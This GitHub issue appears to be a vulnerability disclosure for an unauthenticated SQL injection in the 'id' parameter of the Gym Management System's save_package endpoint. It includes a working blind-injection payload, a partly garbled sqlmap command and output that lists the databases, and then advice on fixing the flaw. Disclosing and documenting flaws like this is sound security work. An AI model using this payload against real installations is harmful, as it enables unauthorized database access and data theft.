New issue

itsourcecode Gym Management System V1.0 /ajax.php?action=save_package SQL injection #1

Open

a25962208 opened 2 weeks ago

NAME OF AFFECTED PRODUCT(S)

- Gym Management System

Vendor Homepage

- https://itsourcecode.com/free-projects/php-project/gym-management-system-project-in-php-with-source-code/

AFFECTED AND/OR FIXED VERSION(S)

submitter

- a25962208

Vulnerable File

- /ajax.php?action=save_package

VERSION(S)

- V1.0

Software Link

- https://itsourcecode.com/wp-content/uploads/2021/03/Gym-Management-System-Project-in-PHP.zip

PROBLEM TYPE

Vulnerability Type

- SQL injection

Root Cause

- A SQL injection vulnerability was found in the '/ajax.php?action=save_package' file of the 'Gym Management System' project. The reason for this issue is that attackers inject malicious code from the parameter 'id' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.

Impact

- Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

DESCRIPTION

- During the security review of "Gym Management System",I discovered a critical SQL injection vulnerability in the "/ajax.php?action=save_package" file. This vulnerability stems from insufficient user input validation of the 'id' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity.

No login or authorization is required to exploit this vulnerability

Vulnerability details and POC

Vulnerability lonameion:

- 'id‘ parameter

Payload:

```
Parameter: MULTIPART id ((custom) POST)
    Type: boolean-based blind
```

```
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: ------WebKitFormBoundaryqy8vqFNBesdiIRR4
Content-Disposition: form-data; name="id"

(SELECT (CASE WHEN (5591=5591) THEN '' ELSE (SELECT 4191 UNION SELECT 8682) END))
------WebKitFormBoundaryqy8vqFNBesdiIRR4
Content-Disposition: form-data; name="id"

1
------WebKitFormBoundaryqy8vqFNBesdiIRR4
Content-Disposition: form-data; name="amount"

1
------WebKitFormBoundaryqy8vqFNBesdiIRR4--
```

The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

```
    sqlmap -u "http://10.20.33.25/altonsystem/ajax.php?action=save_package" --date="Conte s


------WebKitFormBoundaryYM9qHPlBqiPHSdpW
Content-Disposition: form-data; name="package"

1
------WebKitFormBoundaryYM9qHPlBqiPHSdpW
Content-Disposition: form-data; name="description"

1
------WebKitFormBoundaryYM9qHPlBqiPHSdpW
Content-Disposition: form-data; name="amount"

1
" --dbs
```

```
---
Parameter: MULTIPART id ((custom) POST)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: ------WebKitFormBoundaryqy8vqFNBesdiIRR4
Content-Disposition: form-data; name="id"

(SELECT (CASE WHEN (5591=5591) THEN '' ELSE (SELECT 4191 UNION SELECT 8682) END)
)
------WebKitFormBoundaryqy8vqFNBesdiIRR4
Content-Disposition: form-data; name="plan"

1
------WebKitFormBoundaryqy8vqFNBesdiIRR4
Content-Disposition: form-data; name="amount"

1
------WebKitFormBoundaryqy8vqFNBesdiIRR4--
---
[16:50:56] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.41, PHP 7.3.11
back-end DBMS: MySQL >= 5.0.12
[16:50:56] [INFO] fetching database names
[16:50:56] [INFO] fetching number of databases
[16:50:56] [INFO] resumed: 2
[16:50:56] [INFO] resumed: information_schema
[16:50:56] [INFO] resumed: gym_db
available databases [2]:
[*] gym_db
[*] information_schema
```

Suggested repair

1. **Use prepared statements and parameter binding:**
   Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.

2. **Input validation and filtering:**
   Strictly validate and filter user input data to ensure it conforms to the expected format.

3. **Minimize database user permissions:**
   Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations.

4. **Regular security audits:**
   Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

Code with Copilot Agent Mode

No branches or pull requests

Participants